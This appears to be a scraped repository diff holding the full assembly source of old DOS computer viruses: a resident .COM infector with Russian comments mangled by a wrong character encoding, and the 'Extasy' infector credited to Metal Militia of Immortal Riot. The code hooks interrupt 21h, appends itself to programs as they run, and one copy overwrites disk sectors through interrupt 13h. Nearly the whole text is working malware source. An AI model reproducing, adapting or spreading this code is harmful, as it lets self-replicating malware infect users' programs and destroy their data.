cmp word ptr cs:[RobbedBytes-StartVirus],'ZM'
|
||||
je CloseFile ; � 䨣 EXE § à ¦ âì???
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov ax,4202h
|
||||
int 21h ; ‹¥§¥¬ ¢ § ¤¨æã ä ©«
|
||||
cmp ax,1000 ; � 䨣 ¬ ä ©«ë ¬¥ìè¥
|
||||
jl CloseFile ; 1 ª¨«®?
|
||||
cmp ax,64000 ; € ⥬ ¡®«¥¥ ¡®«ìè¥ 64
|
||||
ja CloseFile
|
||||
sub ax,3
|
||||
mov cs:[FileSize-StartVirus],ax ; ˜ãਪ¥ ?
|
||||
cmp byte ptr cs:[RobbedBytes-StartVirus+3],15
|
||||
je CloseFile ; ˆª¥¡ !
|
||||
mov ax,cs
|
||||
mov ds,ax
|
||||
mov ah,40h ; ƒ«ã¯ë© ¢¨àãá ஡ª® ¯àïç¥â
|
||||
xor dx,dx ; ⥫® ¦¨à®¥ ¢ § ¤¨æ¥ ä ©«
|
||||
mov cx,VirLen
|
||||
int 21h
|
||||
xor cx,cx ; ˆ ¢ ç «® ã¡¥£ ¥â, ç⮡ë
|
||||
xor dx,dx ; JUMP â㤠¯®áâ ¢¨âì
|
||||
mov ax,4200h
|
||||
int 21h
|
||||
mov ah,40h
|
||||
mov dx,offset SuperByte-StartVirus ; ” ©« â® ¨ ä ©«, ç⮡ë
|
||||
mov cx,4 ; ¢ë§ë¢ âì ¯®¤ª«¥¥ë©
|
||||
int 21h ; á§ ¤¨ ¢¨àãá
|
||||
jmp CloseFile
|
||||
|
||||
EndExec1: jmp EndExec
|
||||
|
||||
mess1: db 'Hi! hello from MSS!',0dh,0ah,'$'
|
||||
|
||||
game: mov al,0
|
||||
mov [count-0124h],al
|
||||
mov ax,0308h
|
||||
mov bx,offset endvir
|
||||
mov dx,0000h
|
||||
mov cx,0001h
|
||||
int 13h
|
||||
jmp eee
|
||||
CloseFile:
|
||||
mov ah,3Eh ; ‘¨¥ § ªàë⨥ ä ©« - ¬
|
||||
int 21h ; ® ¡®«ìè¥ ¢ é¥ ¥ 㦥
|
||||
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
mov al,[count-0124h]
|
||||
inc al
|
||||
mov [count-0124h],al
|
||||
cmp al,0eh
|
||||
jl eee
|
||||
mov ah,09
|
||||
mov dx,offset mess1-0124h
|
||||
int 21h
|
||||
mov al,[count-0124h]
|
||||
cmp al,0fh
|
||||
jz game
|
||||
eee: pop ds
|
||||
|
||||
EndExec:
|
||||
pop dx ; Œë â ¬, ª ¦¨áì, á®åà 﫨
|
||||
pop cx ; ®¯ïâì 祣®©-â ?
|
||||
pop bx
|
||||
pop ax
|
||||
jmp Quit21Server ; ˆ ¯® ¡ ¡ ¬!
|
||||
|
||||
NotExec:
|
||||
; � á«ãç © á«¥¤ãîé¨å å ¬áª¨å à §à ¡®â®ª
|
||||
|
||||
Quit21Server:
|
||||
pop ds ; —¥¬ ¦¥ ¬ë ⮫쪮
|
||||
pop bx ; STACK' ¥ ¯®«ï«¨?!
|
||||
pop ax
|
||||
popf ; …é¥ ¨ ä« £ ¬¨?!!!
|
||||
db 0EAh
|
||||
Off21 dw 0000h ; ’ ª ¡ã¤¥â á ª ¦¤ë¬, ªâ®...
|
||||
Seg21 dw 0000h
|
||||
|
||||
RobbedBytes:
|
||||
mov dx,offset GoodMessage ; �â® ¢à®¤¥ ª ª ᯥàâë¥ ¡ ©âë
|
||||
db 0B4h
|
||||
SuperByte db 'è' ; € íâ® ¥ ᯥàâë¥, ®
|
||||
FileSize dw 0000h ; ⮦¥ å®à®è¨¥
|
||||
db 15 ; ˜ãਪ¥
|
||||
db '=>' ; �â® ¤«ï ªà á®âë
|
||||
CommandName db 'COMMAND.COM<=' ; € íâ® ®â COMMAND.COM
|
||||
count db 1 dup (0)
|
||||
endvir:
|
||||
end gadost ; ˆ ¢á¥!
|
||||
@@ -0,0 +1,393 @@
|
||||
;
|
||||
; �¥ª®¬¥¤ã¥âáï ®âª®¬¯¨«¨à®¢ âì, § ¯ãáâ¨âì ¨ ⮫쪮 ¯®â®¬ à áᬠâਢ âì
|
||||
; source code. (‚á¥ à ¢® ‚ ¬ ¢ ¥¬ à §¡¨à âìáï ¯à¨¤¥âáï :-)).
|
||||
;
|
||||
; Œ¨«¥ìª ï (¬ «¥ìª ï) £ ¤®áâì, ¬¥à§®áâì, ¤àïì, ᪮⨠...
|
||||
;
|
||||
; ‚ ®¡é¥¬, ¢¨àãá, ª®â®àë© § à ¦ ¥â ¢á直¥ â ¬ ä ©«ë ¯à¨ ¯®¯ë⪥ ¨å
|
||||
; § ¯ãáâ¨âì - ¯®ª á ä ¬¨«¨¥© .COM, ¦¨¢¥â £¤¥-â® ç¥à¤ ª¥ ¯®¤ ¢¥ªâ®à®¬
|
||||
; 21-£® ¨â¥àà ¯â , ¥ áªàë¢ ¥â ᢮¥ ⥫® ¦¨à®¥ ¢ ãâ¥á å, § à ¦¥ë¥
|
||||
; ä ©«ë ®¯®§ ¥â ¯® èãਪ¥ã (â ª®© ⨯ §¢¥§¤®çª¨, ¨á¯®«ì§ã¥âáï ã
|
||||
; ¢®áâ®çëå த®¢ ¤«ï ®âᥪ ¨ï £®«®¢ë ¨ ¥é¥ ª®¥-祣® ã ¡«¨¦¥£®
|
||||
; ᢮¥£®), à ᯮ«®¦¥®¬ã ¢ 4-®¬ ¡ ©â¥ ®â ç « , ᢮¥ «¨ç¨¥ ¢
|
||||
; ¯ ¬ï⨠¯à®¢¥àï¥â â ª: ª« ¤¥â ¢ AX á«®¢® BABA (¢ á¬ëá«¥, ¥ â ª®¥
|
||||
; á«®¢®, word 0BABAh), ¢ë¯®«ï¥â 21-¥ ¨â¥àà ¯â®¢ ¨¥ ¨ ᬮâà¨â,
|
||||
; ¦¥« îâ «¨ íâã ¡ ¡ã 0FACCh. …᫨ ¦¥« îâ, â® á â 窮© ¢á¥ ¯®ïâ®.
|
||||
;
|
||||
; Copyright (c) 1992, Gogi&Givi International
|
||||
;
|
||||
|
||||
jumps
|
||||
.model tiny
|
||||
.code
|
||||
org 0100h
|
||||
VirPar equ (endvir-StartVirus)/16+2 ; ‘ª®ª ã ¢¨àãá ¯ à £à 䮢
|
||||
VirLen equ (endvir-StartVirus) ; � §¬¥àë ¡îáâ ¢¨àãá ¢
|
||||
; âà¥ã£®«ìëå ª¨«®¬¥âà å
|
||||
gadost:
|
||||
db 'è' ; …â® ª®¤ CALL
|
||||
dw StartVirus-$-2 ; € ¥â® ᬥ饨¥ StartVirus
|
||||
db 15,09h ; ˜ãਪ¥ ¨ ®áâ ⮪ ®â mov ah,
|
||||
int 21h ; € íâ® ¢á¥ ®à¬ «ìë©
|
||||
ret ; ª®¤ ¦¥àâ¢ë
|
||||
GoodMessage db '’®¢ à¨é ‹®§¨áª¨©! ”€Š ž!',13,10,'$'
|
||||
; � ª®áâë© ¬¥áá ¤¦ ¤«ï ¤ï¤¨
|
||||
; ‹®§¨áª®£®
|
||||
StartVirus:
|
||||
pop si ; �â® ç⮡ë ã§ âì, ªã¤ á
|
||||
call EntryPoint ; § ¥á«®
|
||||
EntryPoint:
|
||||
pop si ; ‚믨奬 ¤à¥á ç « § à §ë
|
||||
push ds ; ‘®åà ¨¬ ¯ àã-âனªã ॣ¨áâ஢...
|
||||
push es
|
||||
push si
|
||||
mov ax,cs ; ‚®ááâ ®¢¨¬ ᯥàâë¥ ¡ ©âë
|
||||
mov es,ax ; ¨§ § ¤¨æë ä ©«
|
||||
mov ds,ax
|
||||
mov di,0100h
|
||||
add si,RobbedBytes-EntryPoint
|
||||
mov cx,4
|
||||
cld ; �â® ¢®ááâ ®¢«¥¨¥
|
||||
rep movsb
|
||||
pop si
|
||||
mov ax,0ABABh ; �஢¥à¨¬, å®âïâ «¨ ¡ ¡ã -
|
||||
int 21h ; ¢ á¬ëá«¥, ¥áâì «¨ ¬ë
|
||||
cmp ax,0FAAFh ; ¢ ¯ ¬ïâ¨
|
||||
jne NeedsBaba ; ‚¨¤ âì, å®âïâ ¥¥, த¨¬ãî!
|
||||
jmp FucksNow ; …¥ 㦥 ®¡à ¡ âë¢ îâ
|
||||
NeedsBaba:
|
||||
pop es
|
||||
push es
|
||||
mov ax,es ; Žâàë¢ ¥¬ ᥡ¥ á¥â PSP
|
||||
dec ax
|
||||
mov es,ax ; ‘⮫쪮 ¢ 襩 ¯ ª®áâ¨
|
||||
mov ax,es:[3] ; ¯ à £à 䮢
|
||||
sub ax,virpar
|
||||
mov es:[3],ax
|
||||
mov bx,es:[1] ; �«îá ®¤ PSP
|
||||
add bx,ax ; ‚ᥠᢠ«¨¢ ¥¬ ¢ ªãçã
|
||||
mov es,bx
|
||||
push ds ; �ã, íâ® ¯®ïâ®
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ax,ds:[21h*4] ; ‡ å¢ âë¢ ¥¬ áâ àë©
|
||||
mov cs:[si+Off21-EntryPoint],ax ; ¢¥ªâ®à int 21h
|
||||
mov ax,ds:[21h*4+2] ; ‚ á¬ëá«¥, ® ¥ áâ àë©,
|
||||
mov cs:[si+Seg21-EntryPoint],ax ; ® ¤ ¦¥ «ãçè¥ ®¢®£®
|
||||
pop ds
|
||||
xor di,di ; ‡ á®¢ë¢ ¥¬ ¢ ç «®
|
||||
push si ; ¨ç¥©®£® ᥣ¬¥â
|
||||
sub si,EntryPoint-StartVirus ; £¤¥-â® § ¤¢®àª å
|
||||
mov cx,VirLen ; ¯ ¬ïâ¨ è¥ £ãᮥ
|
||||
rep movsb ; ⥫®
|
||||
pop si
|
||||
push ds ; ˆ áâ ¢¨¬ 㪠§ ®¥
|
||||
xor ax,ax ; £ãᮥ ⥫® ¢¥ªâ®à
|
||||
mov ds,ax ; ¯à¥àë¢ ¨ï 21h
|
||||
mov word ptr ds:[21h*4],Int21Server-StartVirus
|
||||
mov ds:[21h*4+2],es
|
||||
pop ds
|
||||
|
||||
FucksNow:
|
||||
pop es ; �â® ¢ á«ãç ¥, ¥á«¨
|
||||
pop ds ; ¯à¥¤«®¦¥®© ¦¥é¨®©
|
||||
mov si,0100h ; (¢¨àãᮬ) 㦥 ®¡« ¤ îâ
|
||||
push si
|
||||
xor ax,ax ; ‚ᥠ¢®ááâ ¢«¨¢ ¥¬ ª
|
||||
xor bx,bx ; ï¤à¥¥ ”¥¥ - ¨ ¤®¬®©,
|
||||
xor di,di ; ª ¬ ¬¥
|
||||
ret
|
||||
|
||||
Int21Server:
|
||||
pushf ; �â® ®¢ë© ®¡à ¡®â稪
|
||||
push ax ; 21-£® ¨â
|
||||
push bx
|
||||
push ds
|
||||
cmp ax,0ABABh ; ’ãâ ¬ë ãáâ ®¢¨¬ ॠªæ¨î
|
||||
jne NotTest ; ¯à¥¤«®¦¥¨¥ ¦¥é¨ë
|
||||
pop ds ; (¨«¨ í४æ¨î)
|
||||
pop bx
|
||||
pop ax
|
||||
popf
|
||||
mov ax,0FAAFh ; �â® ®à¬ «ì ï í४æ¨ï
|
||||
iret ; (â® ¥áâì ॠªæ¨ï)
|
||||
|
||||
NotTest:
|
||||
push cx ; ’ãâ ¬ë ª« áá® ¨§¢à ⨬áï,
|
||||
mov cx,ax ; ç⮡ë ᤥ« âì ¢¨¤, çâ®
|
||||
xchg cl,ch ; ¬ ᮢᥬ ¥ 㦮
|
||||
xor cl,4Bh ; ®¡à ¡ âë¢ âì äãªæ¨î EXEC
|
||||
pop cx ; (—⮡ ‹®§¨áª¨© £®«®¢ã «®¬ «
|
||||
jz Exec ; ¨ ç⮡ ã ¥£® ®çª¨ § ¯®â¥«¨)
|
||||
jmp NotExec
|
||||
|
||||
Exec:
|
||||
mov bx,dx ; �®ª« ¤¥¬ ᬥ饨¥ ¨¬¥¨
|
||||
; § ¯ã᪠¥¬®£® ä ©« ¢ BX
|
||||
SearchZero:
|
||||
cmp byte ptr ds:[bx],0 ; �஢¥à¨¬ §¥àã
|
||||
je ZeroFound ; €å, ª®¥æ ¨¬¥¨!
|
||||
inc bx
|
||||
jmp SearchZero
|
||||
|
||||
ZeroFound:
|
||||
sub bx,11 ; —㤥á®!
|
||||
push es ; �஢¥à¨¬, ¢¤à㣠ª ª®©-
|
||||
mov ax,cs ; ¨¡ã¤ì ¯á¨å ¦¥« ¥â
|
||||
mov es,ax ; § à §¨âì COMMAND.COM
|
||||
mov cx,11
|
||||
mov di,offset CommandName-StartVirus
|
||||
|
||||
Compare:
|
||||
mov al,ds:[bx] ; �â® ¢á¥ á«®¦ ï ¨ 㤠ï
|
||||
cmp al,es:[di] ; ¯à®æ¥¤ãà ¯à®¢¥àª¨...
|
||||
jne NotCommand
|
||||
inc bx
|
||||
inc di
|
||||
dec cx ; ‚ᥠ¯à®¢¥à塞, ¯à®¢¥à塞...
|
||||
cmp cx,0
|
||||
jne Compare
|
||||
pop es
|
||||
jmp Quit21Server ; —â® ¦ ï - ¤¥¡¨« COMMAND.COM
|
||||
; § à ¦ âì?!
|
||||
NotCommand:
|
||||
pop es ; ’ ¬ ¬ë á®åà 﫨 祣®©-â
|
||||
push ax
|
||||
push bx ; ‘®åà ¨¬ ¢á¥, çâ® ¯«®å®
|
||||
push cx ; «¥¦¨â, çâ®¡ë ¥ ¯à®¯ «®
|
||||
push dx
|
||||
mov ax,3D02h ; Žâªã¯®à¨¢ ¥¬ ª«¨¥â (ä ©«)
|
||||
int 21h
|
||||
jc EndExec1 ; �ë¢ îâ ¨ £ãâë¥ ¯à®¡ª¨
|
||||
mov bx,ax ; �®ª« ¤¥¬ ¯à®¡ªã ®â ä ©« ¢ BX
|
||||
mov cx,4 ; •®â¥«®áì ¡ë áç¨â âì 4 ¡ ©â
|
||||
mov ax,cs
|
||||
mov ds,ax
|
||||
mov ah,3Fh ; ‚ ¬¥áâ®, £¤¥ «¥¦ «¨
|
||||
mov dx,offset RobbedBytes-StartVirus
|
||||
int 21h ; ᯥàâë¥ ¡ ©âë
|
||||
jc EndExec1
|
||||
cmp word ptr cs:[RobbedBytes-StartVirus],'ZM'
|
||||
je CloseFile ; � 䨣 EXE § à ¦ âì???
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov ax,4202h
|
||||
int 21h ; ‹¥§¥¬ ¢ § ¤¨æã ä ©«
|
||||
cmp ax,1000 ; � 䨣 ¬ ä ©«ë ¬¥ìè¥
|
||||
jl CloseFile ; 1 ª¨«®?
|
||||
cmp ax,64000 ; € ⥬ ¡®«¥¥ ¡®«ìè¥ 64
|
||||
ja CloseFile
|
||||
sub ax,3
|
||||
mov cs:[FileSize-StartVirus],ax ; ˜ãਪ¥ ?
|
||||
cmp byte ptr cs:[RobbedBytes-StartVirus+3],15
|
||||
je CloseFile ; ˆª¥¡ !
|
||||
mov ax,cs
|
||||
mov ds,ax
|
||||
mov ah,40h ; ƒ«ã¯ë© ¢¨àãá ஡ª® ¯àïç¥â
|
||||
xor dx,dx ; ⥫® ¦¨à®¥ ¢ § ¤¨æ¥ ä ©«
|
||||
mov cx,VirLen
|
||||
int 21h
|
||||
xor cx,cx ; ˆ ¢ ç «® ã¡¥£ ¥â, ç⮡ë
|
||||
xor dx,dx ; JUMP â㤠¯®áâ ¢¨âì
|
||||
mov ax,4200h
|
||||
int 21h
|
||||
mov ah,40h
|
||||
mov dx,offset SuperByte-StartVirus ; ” ©« â® ¨ ä ©«, ç⮡ë
|
||||
mov cx,4 ; ¢ë§ë¢ âì ¯®¤ª«¥¥ë©
|
||||
int 21h ; á§ ¤¨ ¢¨àãá
|
||||
jmp CloseFile
|
||||
|
||||
EndExec1: jmp EndExec
|
||||
|
||||
mess1: db 'Hi! hello from MSS!',0dh,0ah,'$'
|
||||
str1 db ' HELLO FROM OVER1 ','$'
|
||||
|
||||
game: mov al,0 ; ‡ ®á¨¬ ¢ áé¥â稪 0
|
||||
mov [count-0124h],al
|
||||
mov ax,0308h ; ‚ AL - 8 ᥪâ®à®¢
|
||||
mov bx,offset endvir ; ‚ BX - ¤à¥á ¬ãá®à § 墮á⮬
|
||||
mov dx,0000h
|
||||
mov cx,0001h
|
||||
int 13h ; �¨è¥¬ ¤¨áª € 8 ᥪâ®à®¢
|
||||
jmp eee ; ¬ãá®à ¨ «¨ï¥¬.
|
||||
CloseFile:
|
||||
mov ah,3Eh ; ‘¨¥ § ªàë⨥ ä ©« - ¬
|
||||
int 21h ; ® ¡®«ìè¥ ¢ é¥ ¥ 㦥
|
||||
|
||||
push ds ; Ž¡¬¥-¢¥«¨ª ï ¢¥ééì
|
||||
push cs
|
||||
pop ds
|
||||
; mov al,[count-0124h] ; € ç ¢® ã á ¢ áé¥â稪¥?
|
||||
; inc al ; € ª ª é¥â +1 ?
|
||||
; mov [count-0124h],al ; ˆ § ¯®¬¨¬...
|
||||
; cmp al,02h ; €å, 㦥 14 âà㯮¢?
|
||||
; jl eee ; �¥â? Š ª ï ¦ «®áâì...
|
||||
mov ah,09 ; Fuck' ¥¬áï...
|
||||
mov dx,offset mess1-0124h
|
||||
int 21h
|
||||
|
||||
mov ah,0 ;
|
||||
mov al,0 ; ãáâ ¢«¨¢ ¥¬ 0 ¢¨¤¥®à¥¦¨¬
|
||||
int 10h ;
|
||||
|
||||
mov ah,2
|
||||
mov bh,0
|
||||
mov dh,0
|
||||
mov dl,10
|
||||
int 10h ; ¯®§¨æ¨®¨à㥬 ªãàá®à 0,10
|
||||
|
||||
mov ah,9
|
||||
mov al,201
|
||||
mov bl,01000010b
|
||||
mov bh,0
|
||||
mov cx,1
|
||||
int 10h ; ¢ë¢®¤¨¬ §¥«ñë© ªà ᮬ 'É' ¢ ¯®§¨æ¨¨ ªãàá®à
|
||||
|
||||
mov ah,2
|
||||
mov bh,0
|
||||
mov dh,0
|
||||
mov dl,11
|
||||
int 10h ; ¯®§¨æ¨®¨à㥬 0,11
|
||||
|
||||
mov ah,9
|
||||
mov al,205
|
||||
mov bl,01000010b
|
||||
mov bh,0
|
||||
mov cx,20
|
||||
int 10h ; ¢ë¢®¤¨¬ 20 §¥«ñëå ªà ᮬ 'Í'
|
||||
|
||||
mov ah,2
|
||||
mov bh,0
|
||||
mov dh,0
|
||||
mov dl,31
|
||||
int 10h ; ¯®§¨æ¨®¨à㥬 0,31
|
||||
|
||||
mov ah,9
|
||||
mov al,187
|
||||
mov bl,01000010b
|
||||
mov bh,0
|
||||
mov cx,1
|
||||
int 10h ; ¢ë¢®¤¨¬ '»'
|
||||
|
||||
mov ah,2
|
||||
mov bh,0
|
||||
mov dh,1
|
||||
mov dl,10
|
||||
int 10h ; ¯®§¨æ¨®¨à㥬 1,10
|
||||
|
||||
mov ah,9
|
||||
mov bl,01000010b
|
||||
mov al,186
|
||||
mov bh,0
|
||||
mov cx,1
|
||||
int 10h ; ¢ë¢®¤¨¬ 'º'
|
||||
|
||||
mov ah,2
|
||||
mov dx,010bh
|
||||
int 10h
|
||||
|
||||
mov ah,9
|
||||
mov dx,offset str1
|
||||
int 21h ; ¢ë¢®¤¨¬ ¯à¨¢¥âá⢨¥ 'str1'
|
||||
|
||||
mov ah,2
|
||||
mov bh,0
|
||||
mov dh,1
|
||||
mov dl,31
|
||||
int 10h ; ¯®§¨æ¨®¨à㥬 1,31
|
||||
|
||||
mov ah,9
|
||||
mov al,186
|
||||
mov bl,01000010b
|
||||
mov bh,0
|
||||
mov cx,1
|
||||
int 10h ; ¢ë¢®¤¨¬ 'º'
|
||||
|
||||
mov ah,2
|
||||
mov dh,2
|
||||
mov dl,31
|
||||
int 10h ; ¯®§¨æ¨®¨à㥬 2,31
|
||||
|
||||
mov ah,9
|
||||
mov al,188
|
||||
mov bl,01000010b
|
||||
mov bh,0
|
||||
mov cx,1
|
||||
int 10h ; ¢ë¢®¤¨¬ '¼'
|
||||
|
||||
mov ah,2
|
||||
mov dh,2
|
||||
mov dl,10
|
||||
int 10h ; ¯®§¨æ¨®¨à㥬 3,10
|
||||
|
||||
mov ah,9
|
||||
mov al,200
|
||||
mov bl,01000010b
|
||||
mov bh,0
|
||||
mov cx,1
|
||||
int 10h ; ¢ë¢®¤¨¬ 'È'
|
||||
|
||||
mov ah,2
|
||||
mov dh,2
|
||||
mov dl,11
|
||||
int 10h ; ¯®§¨æ¨®¨à㥬 2,11
|
||||
|
||||
mov ah,9
|
||||
mov al,205
|
||||
mov bl,01000010b
|
||||
mov bh,0
|
||||
mov cx,20
|
||||
int 10h ; ¢ë¢®¤¨¬ 'Í' ( 20 èâ.)
|
||||
|
||||
mov ah,2
|
||||
mov dh,25
|
||||
mov dl,0
|
||||
int 10h ; ã室¨¬ § áâà ¨æã
|
||||
|
||||
mov ah,2
|
||||
mov bh,0
|
||||
mov dh,24
|
||||
mov dl,0
|
||||
int 10h ; ¯®§¨æ¨®¨à㥬 24,0
|
||||
|
||||
MOV AL,2
|
||||
mov ah,0
|
||||
int 10h ; ¢®§¢à é ¥¬ áâ àë© ¢¨¤¥®à¥¦¨¬
|
||||
|
||||
mov al,[count-0124h]
|
||||
cmp al,3
|
||||
jz game ; “à !!! �®¡¥¦ «¨ ¨§¤¥¢ âìáï!
|
||||
|
||||
eee: pop ds ; Œ®© ç á 㦥 ¡«¨§®ª,â९¥é¨!
|
||||
|
||||
EndExec:
|
||||
pop dx ; Œë â ¬, ª ¦¨áì, á®åà 﫨
|
||||
pop cx ; ®¯ïâì 祣®©-â ?
|
||||
pop bx
|
||||
pop ax
|
||||
jmp Quit21Server ; ˆ ¯® ¡ ¡ ¬!
|
||||
|
||||
NotExec:
|
||||
; � á«ãç © á«¥¤ãîé¨å å ¬áª¨å à §à ¡®â®ª
|
||||
|
||||
Quit21Server:
|
||||
pop ds ; —¥¬ ¦¥ ¬ë ⮫쪮
|
||||
pop bx ; STACK' ¥ ¯®«ï«¨?!
|
||||
pop ax
|
||||
popf ; …é¥ ¨ ä« £ ¬¨?!!!
|
||||
db 0EAh
|
||||
Off21 dw 0000h ; ’ ª ¡ã¤¥â á ª ¦¤ë¬, ªâ®...
|
||||
Seg21 dw 0000h
|
||||
|
||||
RobbedBytes:
|
||||
mov dx,offset GoodMessage ; �â® ¢à®¤¥ ª ª ᯥàâë¥ ¡ ©âë
|
||||
db 0B4h
|
||||
SuperByte db 'è' ; € íâ® ¥ ᯥàâë¥, ®
|
||||
FileSize dw 0000h ; ⮦¥ å®à®è¨¥
|
||||
db 15 ; ˜ãਪ¥
|
||||
db '=>' ; �â® ¤«ï ªà á®âë
|
||||
CommandName db 'COMMAND.COM<=' ; € íâ® ®â COMMAND.COM
|
||||
count db 1 dup (0) ; …â® ¥áâì áé¥â稪
|
||||
REG DB 1 DUP (0)
|
||||
endvir:
|
||||
end gadost ; ˆ ¢á¥!
|
||||
@@ -0,0 +1,197 @@
|
||||
; Virusname: Extasy
|
||||
; Origin: Sweden
|
||||
; Author: Metal Militia
|
||||
|
||||
; This virus can be found with any anti-virus program, since it's been
|
||||
; around for a while now. (SCAN/TB-SCAN/F-PROT/SOLOMON that is..)
|
||||
;
|
||||
; It's a resident .COM infector, without any encryption or stealth
|
||||
; capabilities. It infects when you execute (4bh) or closes (3eh).
|
||||
; This virus looks pretty much like RAVAGE, since it's pretty much
|
||||
; alike except for that RAVAGE infects .EXE files too.
|
||||
;
|
||||
; I stopped with this virus since it's so totally buggy that you'll find
|
||||
; it almost at once. This is the reason why i give you the source code.
|
||||
; In my later resident things, there will be such things as encryption,
|
||||
; stealth etc. i think..
|
||||
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
.radix 16
|
||||
.code
|
||||
|
||||
viruslength = heap - _small
|
||||
startload = 90 * 4
|
||||
|
||||
_small:
|
||||
call relative
|
||||
oldheader dw 020cdh
|
||||
dw 0bh dup (0)
|
||||
relative:
|
||||
pop bp
|
||||
push ds
|
||||
push es
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov es,ax
|
||||
mov di,startload
|
||||
cmp word ptr ds:[di+25],di
|
||||
jz exit_small
|
||||
|
||||
lea si,[bp-3]
|
||||
mov cx,viruslength
|
||||
db 2Eh
|
||||
rep movsb
|
||||
|
||||
mov di,offset old21 + startload
|
||||
mov si,21*4
|
||||
push si
|
||||
movsw
|
||||
movsw
|
||||
pop di
|
||||
mov ax,offset int21 + startload
|
||||
stosw
|
||||
xchg ax,cx
|
||||
stosw
|
||||
|
||||
exit_small:
|
||||
pop es
|
||||
pop ds
|
||||
|
||||
or sp,sp
|
||||
jnp returnCOM
|
||||
|
||||
returnGNU:
|
||||
returnCOM:
|
||||
mov di,100
|
||||
push di
|
||||
mov si,bp
|
||||
movsw
|
||||
movsb
|
||||
ret
|
||||
|
||||
infect:
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
|
||||
mov ax,3d02
|
||||
int 21
|
||||
xchg ax,bx
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov ax,5700h
|
||||
int 21h
|
||||
|
||||
push cx
|
||||
push dx
|
||||
|
||||
mov si,offset oldheader+startload
|
||||
|
||||
mov ah,3f
|
||||
mov cx,18
|
||||
push cx
|
||||
mov dx,si
|
||||
int 21
|
||||
|
||||
cmp ax,cx
|
||||
jnz go_already_infected
|
||||
|
||||
mov di,offset target + startload
|
||||
push di
|
||||
rep movsb
|
||||
pop di
|
||||
|
||||
mov ax,4202
|
||||
cwd
|
||||
int 21
|
||||
|
||||
cmp ds:[di],'ZM'
|
||||
jz infectNOT
|
||||
cmp ds:[di],'MZ'
|
||||
jz infectNOT
|
||||
|
||||
sub ax,3
|
||||
mov byte ptr ds:[di],0e9
|
||||
mov ds:[di+1],ax
|
||||
|
||||
sub ax,viruslength
|
||||
cmp ds:[si-17],ax
|
||||
jnz finishinfect
|
||||
|
||||
go_already_infected:
|
||||
pop cx
|
||||
jmp short already_infected
|
||||
|
||||
db "EXTASY!"
|
||||
db "(c) Metal Militia / Immortal Riot"
|
||||
|
||||
int21:
|
||||
cmp ax,4b00
|
||||
jz kewl
|
||||
cmp ax,3e00
|
||||
jnz oops
|
||||
mov ah,45
|
||||
int 21
|
||||
jmp kewl
|
||||
|
||||
oops:
|
||||
jmp chain
|
||||
|
||||
infectNOT:
|
||||
jmp go_already_infected
|
||||
|
||||
kewl:
|
||||
jmp infect
|
||||
|
||||
finishinfect:
|
||||
mov cx,viruslength
|
||||
mov dx,startload
|
||||
mov ah,40
|
||||
int 21
|
||||
|
||||
mov ax,4200
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21
|
||||
|
||||
mov ah,40
|
||||
mov dx,di
|
||||
pop cx
|
||||
int 21
|
||||
already_infected:
|
||||
pop dx
|
||||
pop cx
|
||||
|
||||
mov ax,5701h
|
||||
int 21h
|
||||
|
||||
mov ah,3e
|
||||
int 21
|
||||
exitinfect:
|
||||
pop es
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
chain:
|
||||
db 0ea
|
||||
heap:
|
||||
old21 dw ?, ?
|
||||
target dw 0ch dup (?)
|
||||
|
||||
endheap:
|
||||
end _small
|
||||
Reference in New Issue
Block a user